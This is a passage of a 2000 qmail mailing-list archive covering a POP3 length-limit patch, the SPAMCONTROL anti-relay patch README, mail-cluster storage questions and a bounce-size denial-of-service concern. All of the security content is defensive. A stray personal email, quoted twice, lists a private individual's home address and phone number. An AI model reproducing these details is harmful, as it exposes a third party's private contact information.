>    close(3);
> 
> ADDITIONAL INFORMATION
> 
> No solution is currently available.
> 
> The information was provided by:  <mailto:[EMAIL PROTECTED]> K2.
> 
> ========================================
> 
> -------
> AFLHI 058009990407128029/089802---(102598//991024)




What's the difference between QMTP and QMQP? When and where should I use them?

Brian
--
[EMAIL PROTECTED]     
http://www.baquiran.com 
US Fax: (603) 908-0727
AIM: bbaquiran





        Hi!  Some of you know me, but for those who don't or don't care,
please feel free to erase this message and I'm sorry for the
inconvienience(sp?).
        Yep, it's me, I'm alive and kickin'.  I'm here in paradise hell or
SD.  I will be here until the beginnings of April doin' nothin' but
working and staring at the water.  i'm going to the new orleans jazzfest
april 28-may 7, anyone care to join?  maybe carpool-room share action.  so
far it's Anna Kelleher and I.  I've lost track of who hates who, so hope
we're okay for ya'll. ha!


Please contact me here at my brother
David's house via: 760-744-2328 
                        303 Belmont Court
                        San Marcos,CA 92069
        My email still works and I'm checking it regularly:
[EMAIL PROTECTED]

Ryan: Hey! thanks so much for emailing me. especially through the nass
email way so i can hit everyone at once.  how are you? How's Amy? please
tell her i say hello.  have you guys heard from Kaylene?  gofigure
supposedly doesn't work. i dunno if she's on the farm or what these days.
look me up when your in SD. Yeah, bummer deal.  I won't be doing any more
firework roof things with you for awhile.  looks like i'm headed to New
York in the fall.

Shotwells: Sure miss all of you!  Please give Tesla a big wet kiss for me
if you would, thanks.  you'll be getting some pictures in the mail.  hey,
PAY UP FOR THE PHONE BILL KIDS! it's on the fridge. please send it to the
above address or give it to Alex.  Elena, please send me copies of the
phone bill(s) so I can pay you, or I'll be there in a couple of weeks.

 
        I'd write everyone cute notes, but I'm a toad. email me something
and i'll respond, K?

Adios mis amigos fuertes.
Love,
Amanda Elder





What the heck is this and why's it on the qmail list?

Jacob

----- Original Message -----
From: "AMANDA BETH ELDER" <[EMAIL PROTECTED]>
To: "Segfult" <[EMAIL PROTECTED]>
Cc: <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>;
<[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>;
<[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>;
<[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>;
<[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>;
<[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>;
<[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>;
<[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>;
<[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>;
<[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>;
<[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>;
<[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>;
<[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>;
<[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>;
<[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>;
<[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>;
<[EMAIL PROTECTED]>
Sent: Monday, January 24, 2000 6:41 PM
Subject: Re: Ryan Sharon's new address


>
> Hi!  Some of you know me, but for those who don't or don't care,
> please feel free to erase this message and I'm sorry for the
> inconvienience(sp?).
> Yep, it's me, I'm alive and kickin'.  I'm here in paradise hell or
> SD.  I will be here until the beginnings of April doin' nothin' but
> working and staring at the water.  i'm going to the new orleans jazzfest
> april 28-may 7, anyone care to join?  maybe carpool-room share action.  so
> far it's Anna Kelleher and I.  I've lost track of who hates who, so hope
> we're okay for ya'll. ha!
>
>
> Please contact me here at my brother
> David's house via: 760-744-2328
> 303 Belmont Court
> San Marcos,CA 92069
> My email still works and I'm checking it regularly:
> [EMAIL PROTECTED]
>
> Ryan: Hey! thanks so much for emailing me. especially through the nass
> email way so i can hit everyone at once.  how are you? How's Amy? please
> tell her i say hello.  have you guys heard from Kaylene?  gofigure
> supposedly doesn't work. i dunno if she's on the farm or what these days.
> look me up when your in SD. Yeah, bummer deal.  I won't be doing any more
> firework roof things with you for awhile.  looks like i'm headed to New
> York in the fall.
>
> Shotwells: Sure miss all of you!  Please give Tesla a big wet kiss for me
> if you would, thanks.  you'll be getting some pictures in the mail.  hey,
> PAY UP FOR THE PHONE BILL KIDS! it's on the fridge. please send it to the
> above address or give it to Alex.  Elena, please send me copies of the
> phone bill(s) so I can pay you, or I'll be there in a couple of weeks.
>
>
> I'd write everyone cute notes, but I'm a toad. email me something
> and i'll respond, K?
>
> Adios mis amigos fuertes.
> Love,
> Amanda Elder
>





This alternate patch to qmail-popup.c can be used to limit username/password 
to a certain number of characters (I've set it to 40).  Note that this patch 
does no logging, and if given a >40 character argument after user or pass, 
qmail-popup simply dies with an error instead of trying to truncate the 
oversize username/password and pass it on.

In addition, this patch does not require the inclusion of any extra header
files.

As with any patch, you apply this at your own risk.  I cannot take
responsibility for any problems this patch may cause your particular qmail
installation.

That being said, if anyone does apply this then please make sure to let me
know how it works for you.

--Adam

--- qmail-popup.c.orig  Mon Jan 24 21:47:05 2000
+++ qmail-popup.c       Mon Jan 24 21:56:54 2000
@@ -61,6 +61,7 @@
 void die_fork() { err("unable to fork"); die(); }
 void die_childcrashed() { err("aack, child crashed"); }
 void die_badauth() { err("authorization failed"); }
+void die_over40() { err("username/password >40 chars not allowed"); die(); }
 
 void err_syntax() { err("syntax error"); }
 void err_wantuser() { err("USER first"); }
@@ -87,7 +88,12 @@
   int child;
   int wstat;
   int pi[2];
- 
+
+/* Don't allow passwords over 40 characters */
+  
+  if(str_len(user) >= 40) die_over40();
+  if(str_len(pass) >= 40) die_over40();
+
   if (fd_copy(2,1) == -1) die_pipe();
   close(3);
   if (pipe(pi) == -1) die_pipe();




Hi,
I posted a question a while back about building large mail systems using an NFS
server and a lot of smaller SMTP/POP3 machines mounting the NFS-exported
maildirs. While we may well end up setting up something like this, I'm worried
about the NFS server being a single-point-of-failure. 

What are the alternatives to this architecture? I think someone else mentioned a
farm of lighter-weight servers without NFS. How would this work? How would users
know where to get their mail?
 
Brian
--
[EMAIL PROTECTED]     
http://www.baquiran.com 
US Fax: (603) 908-0727
AIM: bbaquiran




On Mon, 24 Jan 2000, Brian Baquiran wrote:

> Hi,
> I posted a question a while back about building large mail systems using an NFS
> server and a lot of smaller SMTP/POP3 machines mounting the NFS-exported
> maildirs. While we may well end up setting up something like this, I'm worried
> about the NFS server being a single-point-of-failure.  
> What are the alternatives to this architecture? I think someone else mentioned a
> farm of lighter-weight servers without NFS. How would this work? How would users
> know where to get their mail?

One thing I am looking at currently is a RAID mounted and available for
several machines. Nexsan has such a box. The Nexsan box is connected to
each of the mailservers SCSI buses. This is kinda a cheap SAN solution as
far as I know. 

My plan, although not using qmail this time (because of specific needs),
is to have several mailservers in front, acting as primary and secondary
MX (with additional offsite machines also working as secondary). When one
of these machines fail, they will still be able to access a common spool,
without using any form of networked filesystem. According to Nexsan, you
should be able to give the machines priorties for access. 

The downside is the cost. I could get 4 mailservers for the prize of
the Nexsan box. 

Any opions on this solution? One I would expect is that the Nexsan is a
single point of failure, and well, it is. Even though it is planned to
have RAID-5, with an extra disc available at all time. If the RAID box
fails, it's down. I would then like to shut down the SMTP receivers so
that it get queued remotly, but that could be a problem.

-- 
Thorkild Stray






While I've never heard of these Nexsan boxes, I do know another approach to
the problem along similar lines. Get a external raid box (server attached
with built in differential raid controller). You can connect two pc's to
one such device as long as each scsi controller in the pc has a different
scsi ID. 

Metastor makes a unit like this with a Symbios series 3 raid controller
built in, dual redundant fans and power supplies, and 10 slots for sca
80pin drives (we used seagate cheeta 18gig drives). Performance is quite
nice, you have your redundancy, and while the raid is a single point of
failure, you are using it for the very purpose it was designed. Even if one
pc and powersupply fails, or even a drive, you are still up. You have a hot
swap drive ready to sync up, a powersupply can be shipped next day air if
the vender is not local, and spinning up a new server takes no time if you
do proper backups. 

Stephen Comoletti
Systems Administrator
Delanet, Inc.  http://www.delanet.com
ph: (302) 326-5800 fx: (302) 326-5802


Thorkild Stray writes: 
> One thing I am looking at currently is a RAID mounted and available for
> several machines. Nexsan has such a box. The Nexsan box is connected to
> each of the mailservers SCSI buses. This is kinda a cheap SAN solution as
> far as I know. 
> 
> My plan, although not using qmail this time (because of specific needs),
> is to have several mailservers in front, acting as primary and secondary
> MX (with additional offsite machines also working as secondary). When one
> of these machines fail, they will still be able to access a common spool,
> without using any form of networked filesystem. According to Nexsan, you
> should be able to give the machines priorties for access. 
> 
> The downside is the cost. I could get 4 mailservers for the prize of
> the Nexsan box. 
> 
> Any opions on this solution? One I would expect is that the Nexsan is a
> single point of failure, and well, it is. Even though it is planned to
> have RAID-5, with an extra disc available at all time. If the RAID box
> fails, it's down. I would then like to shut down the SMTP receivers so
> that it get queued remotly, but that could be a problem.
> 
> -- 
> Thorkild Stray
> 
> 







all of a sudden I am getting the following message:

qmail-inject: fatal: qq trouble creating files in queue (#4.3.0)


I thinking there might be a permissions problem on a qmail directory or file
but I'm not sure.

any ideas would be appreciated
thanks ahead of time
dmc





Hi,


I have a main account called [EMAIL PROTECTED] and also I have my account in
other domains [EMAIL PROTECTED] , [EMAIL PROTECTED] , [EMAIL PROTECTED]

I need add these additional accounts in my main account [EMAIL PROTECTED] . Is it
possible such that all mails coming to these different domains reach the
main account [EMAIL PROTECTED]

Your help would be much appreciated. I am using Qmail with vpopmail,
vchkpasswd, qmailadmin. I want to create this using qmailadmin.

Regards
John





In the tests I've ran so far it appears that any message qmail bounces will
be bounced in it's entirety.  So if a 100 Meg attachment is bounced the
whole 100 Megs gets sent back to the sender.  My concern is that this could
be exploited as a denial of service attack.  Just send my server three or
four 2 gig attachments and let them bounce.  This would eat up bandwidth in
both directions as well as use large amounts of disk space (albeit
temporarily.)

I've thought of truncating the message before it's bounced but this still
requires my server to read in the entire message.  Any suggestions for how
to handle this?

---------
David Cunningham






Hi all,
I know this is probably the wrong forum but maybe someone can point me to
the right direction or even give me a few hints.
We are newly started company. I have setup qmail on a Linux system and it
works superb. Now
I'm looking for a web based calendar that can be put on a common server so
that it is possible to look at other peoples schedules. It should scale up
to about 40 people. I don't want to use EXCHANGE and OUTLOOK. I would like
to run it on Linux.

Anyone ???

Best Regards/Med v�nlig h�lsning
Lars-�ke Torlind

Figuration AB
Phone + 46 8 44 50 350
Mobile + 46 70 529 7146
Faxnr +46 8 44 50 351






>Date: Mon, 24 Jan 2000 18:00:46 +0100
>To: [EMAIL PROTECTED]
>From: "Dr. Erwin Hoffmann" <[EMAIL PROTECTED]>
>Subject: QMAIL 1.03 SPAMCONTROL Patch
>X-Attachments: E:\QMail\patches\spampatch.tgz;
>
>Hi,
>
>I would like to give my SPAMCONTROL patch for QMAIL 1.03 to the public.
>Here's the contents of the README:
>
>PURPOSE
>-------
>
>The SPAMCONTROL patch is intended for environments where some local
>E-Mail systems are used (eg. Lotus Notes) and QMAIL 1.03 is facilitated
>as a RELAY to the Internet. This may be called an E-Mail Gateway.
>
>In this case, QMAIL-SMTPD receives all OUTGOING E-Mails from the local 
>environment and delivers them to MTAs on the Internet.
>Additionally, QMAIL-SMTPD should solely receive those INCOMING
>Internet E-Mails which are targeted for the local E-Mail systems. 
>In particular, QMAIL should not forward any E-Mail to third party
>MTAs.
>
>Since QMAIL by contruction is an OPEN RELAY, some vulnerability may be
>experienced not in particular to the QMAIL system itself (which can 
>stand a heavy load), but for other MTAs which are flooded by
>SPAM E-Mail. 
>
>By means of the SPAMCONTROL patch, QMAIL-SMTPD can be advised to act
>as selective relay and to ignore (not to invoke QMAIL-QUEUE for) E-Mails
>from particular senders and/or receipients. Filtering is done analyzing 
>the E-Mail Header's SENDER and/or RECEIPIENT address.
>
>
>RELAYCLIENT vs. RCPTHOSTS
>-------------------------
>
>Invoking the environment variable $RELAYCLIENT inverses the logic of
>QMAIL-SMTPD. Instead accepting RECEIPIENTs explicitely mentioned in
>./control/rcpthosts and ./control/morecpthosts, the SENDER
>information is evaluated and checked against the environment variable
>$RELAYCLIENT. The RELAYCLIENT patch enhances this feature by means of
>the files ./control/relayclients and/or ./control/relaydomains.
>However, contrary to the original implementation, these files may
>coexist with ./rcpthosts and ./morercpthosts which are still effectiv!
>
>See the attaced SPAMCONTROL.pdf file for more information.
>
>
>ABOUT SPAM E-MAIL
>-----------------
>
>SPAMMERS manipulate either the SENDER (MAIL FROM:) or the 
>RECEIPIENT (RCPT TO:) address of E-Mails, making a MTA believe
>1) that this E-Mail is originated by himself,
>2) accepting it and send the SPAM E-Mail to a third party (target) MTA,
>   which in turn sees this E-Mail to originate from your MTA/Domain,
>3) turning your MTA effectively into a host for SPAM E-Mails.
>
>
>FILTER SPAM E-MAIL
>------------------
>
>First principle: Don't accept E-Mails with the IP address and/or
>inverse DNS name of your MTA in the E-Mail's envelope SENDER and/or 
>RECEIPIENT address.
>
>Let's assume, your MTA has IP address "12.34.56.78".
>The inverse DNS Name becomes "78.56.34.12.in-addr.arpa."
>
>Include the following canonical filters into the control files:
>
>./control/FILE         expression      
>---------------------------------------------------------------
>badmailfrom                    @12.34.56.78
>badmailfrom                    %12.34.56.78
>badreceipients         @12.34.56.78
>badreceipients         %12.34.56.78
>badmailpatterns                *12.34.56.78*
>badrcptpatterns                *12.34.56.78*
>badmailpatterns                *78.56.34.12.in-addr.arpa.*
>badrcptpatterns                *78.56.34.12.in-addr.arpa.*
>
>
>SPAM E-Mails with the "PERCENTHACK" can be eliminated by adding "*%*"
>to the ./control/badmailpatterns and ./control/badrcptpatterns file. 
>Any E-Mails including a "%" sign in the SENDER and/or RECEIPIENT
>address will be rejected.
>The filtering logic can be picked up from the SPAMCONTROL.pdf file.
>
>Please consider, that evaluating the *PATTERNS takes a lot more CPU cycles
>then employing BADMAILFROM and BADRECEIPIENTS. However, this has to be
>compared with the amount of processing to be spend by QMAIL-QUEUE, 
>QMAIL-RSPAWN and QMAIL-SEND, and of course your worries!
>
>Further, the logic of the WILDMAT filter allows you to INCLUDE 
>particular clients/addresses simply putting an exclamation mark (!)
>as first character in the line.
>
>For more details about the WILDMAT logic, have a look at README.wildmat.
>
>
>LOGGING SPAM
>------------
>
>For QMAIL-SMTPD I introduced the ability to log rejected E-Mail in the
>SYSLOG. Tried to invoke Markus Stumpf patch, but failed. The code is
>a direct call to SYSLOG without employing SPLOGGER. I know, Dan will
>not like this. But anyway, its working and I think its necessary. 
>E-Mails rejected by the RELAYCLIENT/RCPTHOSTS mechanisms are not logged.
>In case you intend to use the XINETD daemon instead of the regular
>INETD, calls to the SMTP port 25 can be redirected to the SYSLOG's
>MAILLOG destination, thus giving you a good control of potential
>SPAM activity. Check the SYSLOG environment (/etc/syslog.conf).
>
>See the new man-page of qmail-log(5).
>
>
>HOWTO
>-----
>
>Do the following:
>
>1.  Stop your QMAIL system (receive and send).
>2.  Modify your INETD/XINETD daemon to your needs.
>    (an example for the XINETD is included).
>3.  Follow the INSTALL.spamcontrol instructions.
>4.  Edit the file ./control/relayclients and include the
>    IP-Addresses of your local subnets.
>    (IP-Adresses for SENDERS which are accepted by QMAIL-SMTPD).
>5.  Instead, you can use ./control/relaydomains and
>    put your domain name in here. But I don't recommend this.
>6.  Edit the files
>     ./control/badmailfrom,   
>     ./control/badmailpatterns,
>     ./control/badreceipients,
>     ./control/badrcptpatterns to your needs.
>    See above samples.
>7.  Restart QMAIL.
>8.  If you are already blacklisted, inform those sites that
>    you don't act as an OPEN RELAY anymore.
>9.  Watch the QMAIL behavior by means of the SYSLOG information.
>
>Good luck!
>
>TESTED ENVIRONMENTS
>-------------------
>LINUX KERNEL 2.0
>LINUX KERNEL 2.2
>FREEBSD 3.1
>
>
>FURTHER INFORMATIONS
>--------------------
>
>- QMAIL:     http://www.qmail.org/
>- XINETD:    http://synack.net/
>- SPAM:      http://maps.vix.com/rbl/
>             http://www.orbs.org/
>             http://www.obtuse.com/smtpd.html
>             http://spam.abuse.net/spam/
>
>
>AUTHORS
>-------
>
>Rask Ingemann Lambertsen - who provided the original RELAY Patch
>Marc Pohl - ported it to QMAIL 1.03 ([EMAIL PROTECTED])
>Mark Delany - Auther of the WILDMAT Patch ([EMAIL PROTECTED])
>Erwin Hoffmann - ported it to QMAIL 1.03 and put it all together
>
>Erwin Hoffmann ([EMAIL PROTECTED])
>Cologne, 2000-01-21.
>
>
+-----------------------------------------------------------------------+
|  fff        hh                                     Dr. Erwin Hoffmann |
| ff          hh                                                        |
| ff    eee   hhhh      ccc   ooo    mm mm  mm       Wiener Weg 8       |
| fff  ee ee  hh  hh   cc   oo   oo  mmm  mm  mm     50858 Koeln        |
| ff  ee eee  hh  hh  cc   oo     oo mm   mm  mm                        |
| ff  eee     hh  hh   cc   oo   oo  mm   mm  mm     Tel 0221 484 4923  |
| ff   eeee   hh  hh    ccc   ooo    mm   mm  mm     Fax 0221 484 4924  |
+-----------------------------------------------------------------------+




>Date: Mon, 24 Jan 2000 18:00:46 +0100
>To: [EMAIL PROTECTED]
>From: "Dr. Erwin Hoffmann" <[EMAIL PROTECTED]>
>Subject: QMAIL 1.03 SPAMCONTROL Patch
>X-Attachments: E:\QMail\patches\spampatch.tgz;
>
>Hi,
>
>I would like to give my SPAMCONTROL patch for QMAIL 1.03 to the public.
>Here's the contents of the README:
>
>PURPOSE
>-------
>
>The SPAMCONTROL patch is intended for environments where some local
>E-Mail systems are used (eg. Lotus Notes) and QMAIL 1.03 is facilitated
>as a RELAY to the Internet. This may be called an E-Mail Gateway.
>
>In this case, QMAIL-SMTPD receives all OUTGOING E-Mails from the local 
>environment and delivers them to MTAs on the Internet.
>Additionally, QMAIL-SMTPD should solely receive those INCOMING
>Internet E-Mails which are targeted for the local E-Mail systems. 
>In particular, QMAIL should not forward any E-Mail to third party
>MTAs.
>
>Since QMAIL by contruction is an OPEN RELAY, some vulnerability may be
>experienced not in particular to the QMAIL system itself (which can 
>stand a heavy load), but for other MTAs which are flooded by
>SPAM E-Mail. 
>
>By means of the SPAMCONTROL patch, QMAIL-SMTPD can be advised to act
>as selective relay and to ignore (not to invoke QMAIL-QUEUE for) E-Mails
>from particular senders and/or receipients. Filtering is done analyzing 
>the E-Mail Header's SENDER and/or RECEIPIENT address.
>
>
>RELAYCLIENT vs. RCPTHOSTS
>-------------------------
>
>Invoking the environment variable $RELAYCLIENT inverses the logic of
>QMAIL-SMTPD. Instead accepting RECEIPIENTs explicitely mentioned in
>./control/rcpthosts and ./control/morecpthosts, the SENDER
>information is evaluated and checked against the environment variable
>$RELAYCLIENT. The RELAYCLIENT patch enhances this feature by means of
>the files ./control/relayclients and/or ./control/relaydomains.
>However, contrary to the original implementation, these files may
>coexist with ./rcpthosts and ./morercpthosts which are still effectiv!
>
>See the attaced SPAMCONTROL.pdf file for more information.
>
>
>ABOUT SPAM E-MAIL
>-----------------
>
>SPAMMERS manipulate either the SENDER (MAIL FROM:) or the 
>RECEIPIENT (RCPT TO:) address of E-Mails, making a MTA believe
>1) that this E-Mail is originated by himself,
>2) accepting it and send the SPAM E-Mail to a third party (target) MTA,
>   which in turn sees this E-Mail to originate from your MTA/Domain,
>3) turning your MTA effectively into a host for SPAM E-Mails.
>
>
>FILTER SPAM E-MAIL
>------------------
>
>First principle: Don't accept E-Mails with the IP address and/or
>inverse DNS name of your MTA in the E-Mail's envelope SENDER and/or 
>RECEIPIENT address.
>
>Let's assume, your MTA has IP address "12.34.56.78".
>The inverse DNS Name becomes "78.56.34.12.in-addr.arpa."
>
>Include the following canonical filters into the control files:
>
>./control/FILE         expression      
>---------------------------------------------------------------
>badmailfrom                    @12.34.56.78
>badmailfrom                    %12.34.56.78
>badreceipients         @12.34.56.78
>badreceipients         %12.34.56.78
>badmailpatterns                *12.34.56.78*
>badrcptpatterns                *12.34.56.78*
>badmailpatterns                *78.56.34.12.in-addr.arpa.*
>badrcptpatterns                *78.56.34.12.in-addr.arpa.*
>
>
>SPAM E-Mails with the "PERCENTHACK" can be eliminated by adding "*%*"
>to the ./control/badmailpatterns and ./control/badrcptpatterns file. 
>Any E-Mails including a "%" sign in the SENDER and/or RECEIPIENT
>address will be rejected.
>The filtering logic can be picked up from the SPAMCONTROL.pdf file.
>
>Please consider, that evaluating the *PATTERNS takes a lot more CPU cycles
>then employing BADMAILFROM and BADRECEIPIENTS. However, this has to be
>compared with the amount of processing to be spend by QMAIL-QUEUE, 
>QMAIL-RSPAWN and QMAIL-SEND, and of course your worries!
>
>Further, the logic of the WILDMAT filter allows you to INCLUDE 
>particular clients/addresses simply putting an exclamation mark (!)
>as first character in the line.
>
>For more details about the WILDMAT logic, have a look at README.wildmat.
>
>
>LOGGING SPAM
>------------
>
>For QMAIL-SMTPD I introduced the ability to log rejected E-Mail in the
>SYSLOG. Tried to invoke Markus Stumpf patch, but failed. The code is
>a direct call to SYSLOG without employing SPLOGGER. I know, Dan will
>not like this. But anyway, its working and I think its necessary. 
>E-Mails rejected by the RELAYCLIENT/RCPTHOSTS mechanisms are not logged.
>In case you intend to use the XINETD daemon instead of the regular
>INETD, calls to the SMTP port 25 can be redirected to the SYSLOG's
>MAILLOG destination, thus giving you a good control of potential
>SPAM activity. Check the SYSLOG environment (/etc/syslog.conf).
>
>See the new man-page of qmail-log(5).
>
>
>HOWTO
>-----
>
>Do the following:
>
>1.  Stop your QMAIL system (receive and send).
>2.  Modify your INETD/XINETD daemon to your needs.
>    (an example for the XINETD is included).
>3.  Follow the INSTALL.spamcontrol instructions.
>4.  Edit the file ./control/relayclients and include the
>    IP-Addresses of your local subnets.
>    (IP-Adresses for SENDERS which are accepted by QMAIL-SMTPD).
>5.  Instead, you can use ./control/relaydomains and
>    put your domain name in here. But I don't recommend this.
>6.  Edit the files
>     ./control/badmailfrom,   
>     ./control/badmailpatterns,
>     ./control/badreceipients,
>     ./control/badrcptpatterns to your needs.
>    See above samples.
>7.  Restart QMAIL.
>8.  If you are already blacklisted, inform those sites that
>    you don't act as an OPEN RELAY anymore.
>9.  Watch the QMAIL behavior by means of the SYSLOG information.
>
>Good luck!
>
>TESTED ENVIRONMENTS
>-------------------
>LINUX KERNEL 2.0
>LINUX KERNEL 2.2
>FREEBSD 3.1
>
>
>FURTHER INFORMATIONS
>--------------------
>
>- QMAIL:     http://www.qmail.org/
>- XINETD:    http://synack.net/
>- SPAM:      http://maps.vix.com/rbl/
>             http://www.orbs.org/
>             http://www.obtuse.com/smtpd.html
>             http://spam.abuse.net/spam/
>
>
>AUTHORS
>-------
>
>Rask Ingemann Lambertsen - who provided the original RELAY Patch
>Marc Pohl - ported it to QMAIL 1.03 ([EMAIL PROTECTED])
>Mark Delany - Auther of the WILDMAT Patch ([EMAIL PROTECTED])
>Erwin Hoffmann - ported it to QMAIL 1.03 and put it all together
>
>Erwin Hoffmann ([EMAIL PROTECTED])
>Cologne, 2000-01-21.
>
>

spampatch.tgz


+-----------------------------------------------------------------------+
|  fff        hh                                     Dr. Erwin Hoffmann |
| ff          hh                                                        |
| ff    eee   hhhh      ccc   ooo    mm mm  mm       Wiener Weg 8       |
| fff  ee ee  hh  hh   cc   oo   oo  mmm  mm  mm     50858 Koeln        |
| ff  ee eee  hh  hh  cc   oo     oo mm   mm  mm                        |
| ff  eee     hh  hh   cc   oo   oo  mm   mm  mm     Tel 0221 484 4923  |
| ff   eeee   hh  hh    ccc   ooo    mm   mm  mm     Fax 0221 484 4924  |
+-----------------------------------------------------------------------+




Has anyone set up qmail to use the mbox format without using bin/mail??
I want qmail-local to deliver messages to /var/spool/mail.


Thanks in advance,
Kristina



Reply via email to